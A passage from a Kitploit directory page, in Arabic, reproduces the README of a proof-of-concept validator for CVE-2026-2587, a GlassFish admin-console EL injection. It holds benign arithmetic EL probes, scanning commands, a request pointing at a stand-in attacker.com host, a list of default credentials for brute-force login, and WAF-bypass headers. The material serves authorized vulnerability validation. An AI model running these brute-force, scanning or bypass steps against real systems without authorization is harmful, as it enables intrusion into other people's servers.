Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2587-Exploit-POC — مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به. | Kitploit
أدوات/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
ماسحات الثغرات الأمنيةالتحليل الديناميكي (عزل)تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به.

عرض المستودعالموقع الإلكتروني
1منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-2587 Exploit PoC — أداة التحقق من حقن EL (EL Injection RCE) في Eclipse GlassFish

أداة تحقق آمنة (PoC) لـ CVE-2026-2587، وهي ثغرة حرجة من نوع حقن Expression Language (EL) / تنفيذ أوامر عن بُعد (RCE) تؤثر على معالج الأدوات (gadget handler) في لوحة إدارة Eclipse GlassFish عبر /common/gadgets/gadget.jsf.

تساعد هذه الأداة فرق الأمن في التحقق من التعرض لـ CVE-2026-2587 في بيئات GlassFish المصرح بها باستخدام "كناري" (canary) حسابي عادي (benign arithmetic EL canary).

المُعين من قبل: مؤسسة Eclipse (CNA) · تاريخ النشر: 19 مايو 2026 CVSS: 9.6 حرج · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — حقن Expression Language الإصدارات المتأثرة: غير معروفة في الإفادة العامة حتى 21 مايو 2026 الإصدارات المصححة: غير معروفة في الإفادة العامة حتى 21 مايو 2026 قاعدة الماسح الضوئي: الإصدار مخصص للسياق فقط في التوجيه/الإبلاغ؛ الحكم يتطلب دليلاً.


جدول المحتويات

  • ملخص الثغرة
  • كيفية العمل
  • متطلبات المصادقة
  • الإعداد
  • بيئة المختبر (Docker)
  • إنشاء ملف XML للاختبار
  • الاستخدام — هدف واحد
    • محلي / Docker
    • بيانات الاعتماد
    • تسجيل الدخول بالقوة العمياء
    • عن بُعد عبر نفق Cloudflare
    • XML ثابت مستضاف مسبقًا
    • عن بُعد عبر ngrok (الملاذ الأخير)
    • الفحص بدون مصادقة فقط
  • الاستخدام — أهداف متعددة
    • تنسيق ملف الأهداف
    • المسح المتوازي
  • تنسيقات المخرجات
    • الكونسول
    • CSV
    • JSON
    • دمج المخرجات
  • خيارات متقدمة
    • اكتشاف النقاط النهائية والإصدارات
    • قيم كناري مخصصة
    • تذييلات مخصصة
  • حالات الاختبار
  • تفسير المخرجات
  • التحقق اليدوي
  • المعالجة
  • المراجع
  • إخلاء المسؤولية

ملخص الثغرة

توجد ثغرة حرجة في تنفيذ الأوامر عن بُعد في معالج أدوات لوحة إدارة GlassFish. يقوم التطبيق بمعالجة ملفات .xml يتم جلبها من عنوان URL يُقدم عبر معامل الاستعلام gadget= ويقيم القيم التي يوفرها المستخدم داخل سمات <ModulePrefs> من خلال محرك Java Expression Language (EL) دون تعقيم أو هروب.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
إذا احتوى XML على `#{7*7}` في سمة `<ModulePrefs title="">`، يقوم GlassFish بتقييمه من جانب الخادم ويعيد `49` — مما يؤكد تنفيذ EL. وتتبع سلسلة كاملة من RCE عبر وصول EL إلى وقت تشغيل Java.

السجلات الاستشارية العامة الحالية لا تنشر نطاق الإصدارات المتأثرة أو المصححة. لهذا فإن هذا المدقق يعتمد على الإثبات أولاً: فهو يبصم GlassFish ويبلغ عن بيانات الإصدار، لكنه لا يصنف الهدف على أنه ضعيف من خلال سلسلة الإصدار وحدها.

---

## كيف يعمل

![سير عمل التحقق الآمن لـ CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

يقوم مسار التحقق الآمن باستضافة استعلام XML غير ضار، ويرسل طلبًا موثًقًا إلى وحدة تحكم الإدارة إلى `gadget.jsf`، ويترك GlassFish يقوم بجلب ذلك XML من رابط الاستدعاء الخلفي، ويتحقق مما إذا كان الكناري `<ModulePrefs title="">` يقيم من `#{7*7}` إلى `49`.

**تأكيد نقطة الحقن مقابل عدمه:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

متطلبات المصادقة

ناقل CVSS PR:N / UI:R يعني:

  • PR:N — لا يحتاج المهاجم إلى أي بيانات اعتماد خاصة به
  • UI:R — يجب أن يتفاعل مسؤول مسجل الدخول (تسليم CSRF)

للتحقق المخبري، تجاوز CSRF تمامًا — استخدم جلستك الإدارية الخاصة مباشرة.


الإعداد

المتطلبات: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**محتويات المستودع:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

بيئة المختبر (Docker)

ملاحظة: لا تزال GHSA تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة. omnifish/glassfish:7.0.15 هو مرشح مختبر قوي — ليس بناءً مضمونًا ليكون عرضة للخطر. تظل أداة التحقق الأولية هي الكناري الحسابي: إذا كان #{7*7} يساوي 49، فإن EL نشط.

الخيار أ — docker compose (موصى به)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
يقوم بتشغيل GlassFish 7.0.15 مع ربط المنافذ بـ `127.0.0.1` فقط و `host.docker.internal` مربوط مسبقًا بحيث يمكن للحاوية الوصول إلى خادم XML المحلي الخاص بك.

### الخيار ب — docker run مباشر```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

وحدة التحكم الإدارية: https://localhost:4848 · تسجيل الدخول: admin / admin (شهادة ذاتية التوقيع — تحذير المتصفح متوقع.)


تقديم ملف XML الخاص بالمسح الضوئي غير الضار

في محطة طرفية ثانية:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
تحقق من إمكانية الوصول من منظور الحاوية:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

المشغل اليدوي

سجل الدخول إلى لوحة التحكم الإدارية أولاً (جلسة متصفح أو --cookie)، ثم:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| المخرجات | المعنى |
|---|---|
| `CVE2587_TITLE_49_END` | **قابل للاختراق** — تم تقييم EL في `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **قابل للاختراق** — تم تقييم EL في نص CDATA |
| `CVE2587_TITLE_#{7*7}_END` | غير قابل للاختراق / لم يتم تقييم EL |
| *(no output)* | لم يقم GlassFish بجلب XML — تحقق من إمكانية الوصول إلى الاستدعاء |

> عادةً ما يظل نص CDATA خامًا حتى في الإصدارات القابلة للاختراق؛ نتيجة `TITLE` الإيجابية وحدها كافية لتأكيد النتيجة.

---

### التحقق الآلي ضد المختبر المحلي```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

إنشاء ملف Probe XML

يأتي المستودع مع probe.xml جاهز للاستخدام. يمكنك أيضًا إنشاء ملف جديد في أي وقت — مفيد عندما تريد بادئة canary مخصصة أو قيم عشوائية بحيث يكون المسبار فريدًا لكل مهمة.```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
المخرجات بعد الكتابة إلى ملف:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

الاستخدام — الهدف الواحد

Localhost / Docker

استخدم عندما يكون GlassFish قيد التشغيل محليًا أو في Docker على نفس الجهاز.

احصل على JSESSIONID الخاص بك من أدوات المطور (DevTools) في المتصفح → التطبيق (Application) → ملفات تعريف الارتباط (Cookies) أثناء تسجيل الدخول إلى وحدة التحكم الإدارية، ثم:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal` يحل إلى الجهاز المضيف من داخل Docker.
> حاوية GlassFish تجلب ملف XML الخاص بك عبر هذا العنوان.

---

### بيانات الاعتماد```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

إذا فشل تسجيل الدخول عبر النموذج، ينتقل البرنامج النصي إلى تجربة نقطة النهاية على أي حال. إذا فشل ذلك أيضًا، فإنه يطبع تعليمات خطوة بخطوة للحصول على ملف تعريف ارتباط جلسة.


تسجيل الدخول بالقوة الغاشمة

عندما لا تملك أي بيانات اعتماد على الإطلاق، يحاول --brute 21 زوجًا شائعًا من بيانات اعتماد GlassFish الافتراضية بالترتيب ويستخدم أول زوج ينجح. متبادل الحصر مع --username و --cookie.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
إذا تم العثور على زوج صالح، يتم طباعته في المخرجات وتسجيله في عمود `brute_creds` في ملف CSV. إذا فشلت جميع الأزواج، يخرج المسح بـ `AUTH_REQUIRED`.

بعض إصدارات GlassFish تعيد `/login.jsf` بعد طلب POST صالح. لا يعتبر المدقق عنوان URL هذا وحده فشلاً؛ بل يؤكد الجلسة من خلال فحص نقطة نهاية الأداة الإدارية والتحقق من أن الاستجابة ليست نموذج تسجيل الدخول.

قائمة بيانات الاعتماد التي تم تجربتها (بالترتيب):

| اسم المستخدم | كلمة المرور |
|---|---|
| `admin` | `admin` |
| `admin` | `*(empty)*` |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### الوصول عن بُعد عبر نفق Cloudflare

لا حاجة لحساب لنفق سريع.

**الخطوة 1 — تثبيت cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

الخطوة 2 — بدء النفق:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**الخطوة 3 — تشغيل المدقق:**

استخدم نفس اسم المضيف المُنشأ مع `http://` لعنوان URL لرد الاتصال. هذا يتجنب
أخطاء مخزن الثقة في JVM في حاويات GlassFish المخبرية التي لا يمكنها التحقق من
سلسلة شهادات TLS الخاصة بـ Cloudflare. إذا قمت بلصق عنوان `https://`
trycloudflare المُنشأ، يقوم المدقق بإعادة كتابة رد الاتصال إلى `http://` ويطبع
تحذيرًا. الشرطة المائلة اللاحقة اختيارية؛ يقوم المدقق بإلحاق `/canary.xml` و
مسارات XML الخاصة بكل اختبار تلقائيًا.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

XML الثابت المُستضاف مسبقًا

استخدمه عندما لا تستطيع تشغيل خادم محلي. يجب أن يكون جهاز JVM لـ GlassFish الهدف قادرًا على جلب عنوان URL هذا مباشرةً، لذا فإن HTTP العادي على خادم VPS/خادم ويب موثوق به غالبًا ما يكون أكثر موثوقية من مستضيفي HTTPS الذين لا تثق سلسلة شهاداتهم في JVM الهدف. يتجاوز العلم --xml-url الخادم المدمج بالكامل.

قم بإنشاء XML فحص جديد، ثم استضفه:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`، `--left`، `--right` يجب أن تتطابق مع القيم الموجودة داخل ملف XML المستضاف لديك
> حتى يعرف السكريبت أي رمز تم تقييمه يبحث عنه في الرد.

---

### عن بُعد عبر ngrok (الملاذ الأخير)

استخدم ngrok فقط كخيار أخير للأهداف البعيدة. يمكن للطبقة المجانية أن تحجب
عمليات الجلب من جانب الخادم التي لا تأتي من متصفح من خلال إرجاع صفحة تحذيرية
HTML وسيطة. في هذه الحالة، يقوم GlassFish بجلب صفحة التحذير بدلاً من
ملف `probe.xml` الخاص بك، وقد يصنف المدقق الرد كصفحة تسجيل دخول أو
نتيجة غير حاسمة. يُفضل استخدام Cloudflare Tunnel أو VPS أو مضيف ويب ثابت
يمكن لـ JVM الهدف الجلب منه بشكل نظيف ما لم يكن لديك حساب مدفوع في ngrok
يتجاوز هذا القيد.

**الخطوة 1 — تثبيت ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

الخطوة 2 — تعريض الخادم المحلي الخاص بك:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**الخطوة 3 — تشغيل المدقق:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

استبدل abc123.ngrok-free.app بعنوان ngrok الفعلي الخاص بك. يبدأ البرنامج النصي خادم XML الخاص به على :8000؛ يقوم ngrok بتوجيه الاتصالات من الإنترنت إليه.


فحص غير مصادق فقط

اختبر ما إذا كانت نقطة النهاية مكشوفة عن طريق الخطأ بدون مصادقة قبل إجراء فحص كامل بالمصادقة. يخرج فورًا بعد Phase 1.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
---
## الاستخدام — أهداف متعددة

### تنسيق ملف الأهداف

يتضمن المستودع `targets.txt.example` كقالب. انسخه وعدّله:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

التنسيق — هدف واحد لكل سطر، يتم تجاهل الأسطر التي تبدأ بـ # والأسطر الفارغة، تتجاوز بيانات الاعتماد الخاصة بكل هدف البيانات العالمية --username/--password:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
تشغيل ضد جميع الأهداف:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

--username العالمي / --password ينطبق على الأهداف التي لا تملك بيانات اعتماد لكل سطر. بيانات الاعتماد لكل سطر لها الأولوية على البيانات العالمية.


المسح المتوازي

استخدم --threads لمسح أهداف متعددة بشكل متزامن. خادم XML المدمج مشترك عبر جميع الخيوط.```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> أعداد المواضيع الموصى بها:
> - المختبر المحلي: حتى `10`
> - الأهداف البعيدة عبر الإنترنت: `3–5` (احترام حدود المعدل)
> - هدف واحد: `1` (افتراضي)

---

## تنسيقات الإخراج

### الكونسول

إخراج افتراضي قابل للقراءة البشرية. أضف `--verbose` لرؤية نتائج كل حالة اختبار.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

ملخص متعدد الأهداف:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

أمثلة على الصفوف:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
---

### JSON```bash
--json

هدف واحد:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
الأهداف المتعددة ترجع مصفوفة JSON.

---

### دمج المخرجات

جميع صيغ المخرجات مستقلة — ادمج بحرية:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

خيارات متقدمة

اكتشاف نقاط النهاية والإصدارات

بشكل افتراضي، يختبر الماسح مسار أداة GlassFish المشتركة تحت جذور واجهة الإدارة الرسومية الشائعة:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
كما يتعلم جذر سياق واجهة المستخدم غير الافتراضي من رؤوس إعادة التوجيه `Location` ويسبق هذا الجذر قبل الاختبار. استخدم قيم `--path` القابلة للتكرار فقط عندما تريد تجاوز قائمة الاكتشاف هذه.

يتم محاولة اكتشاف الإصدار من رؤوس الاستجابة، وواجهة برمجة تطبيقات REST للإدارة، وصفحة تسجيل الدخول، وبعد تسجيل الدخول الناجح، من `/__asadmin/version.json` أو `/__asadmin/version`. تعمل بيانات الإصدار على تحسين التوجيه وإعداد التقارير فقط؛ يترك الماسح `version_affected` كـ `UNKNOWN` حتى تنشر سجلات الاستشارات العامة حدًا للإصدار.

---

### قيم Canary المخصصة

قم بمطابقة المدقق مع ملف XML مصنوع يدويًا باستخدام `--prefix`، `--left`، `--right`. مطلوب عند استخدام `--xml-url` مع ملف مستضاف خاص بك.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

رؤوس مخصصة

أضف رؤوسًا عشوائية — مفيدة لتجاوز WAF، توجيه موازن التحميل، أو الاختبار خلف وكيل عكسي.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## حالات الاختبار

يقوم المدقق بتشغيل 10 مجسات EL متميزة، كل منها يؤكد قدرة مختلفة:

| # | الحمولة | متوقع | ما يثبته |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | كناري حسابي أساسي |
| TC-02 | `#{1337+2587}` | `3924` | عامل الجمع |
| TC-03 | `#{31337*271}` | `8492327` | ضرب كبير مقاوم للتصادم |
| TC-04 | `#{9999-1337}` | `8662` | عامل الطرح |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | أقواس متداخلة / أسبقية العوامل |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | شرطي / ثلاثي — يتم تنفيذ تدفق التحكم |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | الوصول إلى طريقة السلسلة النصية |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | استدعاءات الطرق المتسلسلة |
| TC-09 | `#{17 mod 5}` | `2` | عامل الكلمة المفتاحية EL |
| TC-10 | `#{100*100}` | `10000` | تأكيد حسابي إضافي |

تعتبر TC-06 وTC-07 وTC-08 الأكثر أهمية — اجتيازها يعني أن محرك EL ينفذ **طرق واجهة برمجة التطبيقات للسلسلة النصية والمنطق الشرطي**، وهو السابق المباشر لسلسلة RCE الكاملة.

---

## تفسير المخرجات

| الحالة | المعنى |
|---|---|
| `VULNERABLE` | تم تقييم تعبير EL — تم تأكيد تأثر المثيل |
| `VULNERABLE_UNAUTH` | نقطة النهاية مكشوفة بدون مصادقة — أسوأ من CVE الأساسي |
| `NOT_VULNERABLE` | تم عكس التعبير حرفيًا — لم يتم تقييم EL |
| `AUTH_REQUIRED` | أعادت نقطة النهاية صفحة تسجيل الدخول — تحقق من ملف تعريف الارتباط أو بيانات الاعتماد |
| `INCONCLUSIVE` | تم استلام الرد ولكن لم يتم العثور على الكناري — انظر أدناه |
| `ERROR` | فشل الطلب — مشكلة في الشبكة / TLS |

`detected_version` و `version_source` هما سياق داعم. نظرًا لأن الإعلانات العامة حاليًا تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة، فلا تعامل `version_affected=UNKNOWN` كنتيجة سلبية. النتيجة الإيجابية الوحيدة هي رمز إثبات تم تقييمه.

**استكشاف أخطاء INCONCLUSIVE وإصلاحها:**

| العرض | السبب | الإصلاح |
|---|---|---|
| `XML hits: 0` | لم يجلب GlassFish ملف XML الخاص بك أبدًا | `--callback-url` لا يمكن الوصول إليها من الهدف |
| `XML hits: 1+` but no match | تم تقييم EL ولكن الحقل خاطئ | متوقع لمحتوى CDATA |
| Auth redirect mid-run | انتهت الجلسة | احصل على `JSESSIONID` جديدة من المتصفح |
| Login POST redirects to `j_security_check` | كلمة مرور خاطئة | استخدم `--cookie` بدلاً من ذلك |

---

## التحقق اليدوي

لا يتطلب Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

التصحيح


المراجع


إخلاء المسؤولية

هذا المستودع مخصص لاختبار الأمان والبحث المصرح بهما فقط.

  • قم بتشغيل هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
  • يقوم المدقق بتقييم EL الحميد فقط — لا تنفيذ أوامر، لا قشرة عكسية، لا تحميل ملفات، لا استمرارية
  • لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام
  • تم اتباع الإفصاح المسؤول — تم الإبلاغ في ديسمبر 2025 ونشر في مايو 2026

تخطيط المستودع:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
تنزيل الأداة
السيناريوهل المصادقة مطلوبة؟
الوصول المباشر إلى gadget.jsfنعم — مصادقة FORM، صفحة تسجيل دخول 200
هجوم CSRF واقعيلا — يستغل جلسة المدير النشطة
هذا المُتحقّقنعم — --cookie أو --username/--password
فحص التعرض غير المُصادَق عليهلا — يقوم البرنامج النصي باختبار هذا تلقائيًا
العمودالوصف
targetعنوان URL الهدف
timestampوقت المسح بصيغة ISO-8601 UTC
verdictVULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR
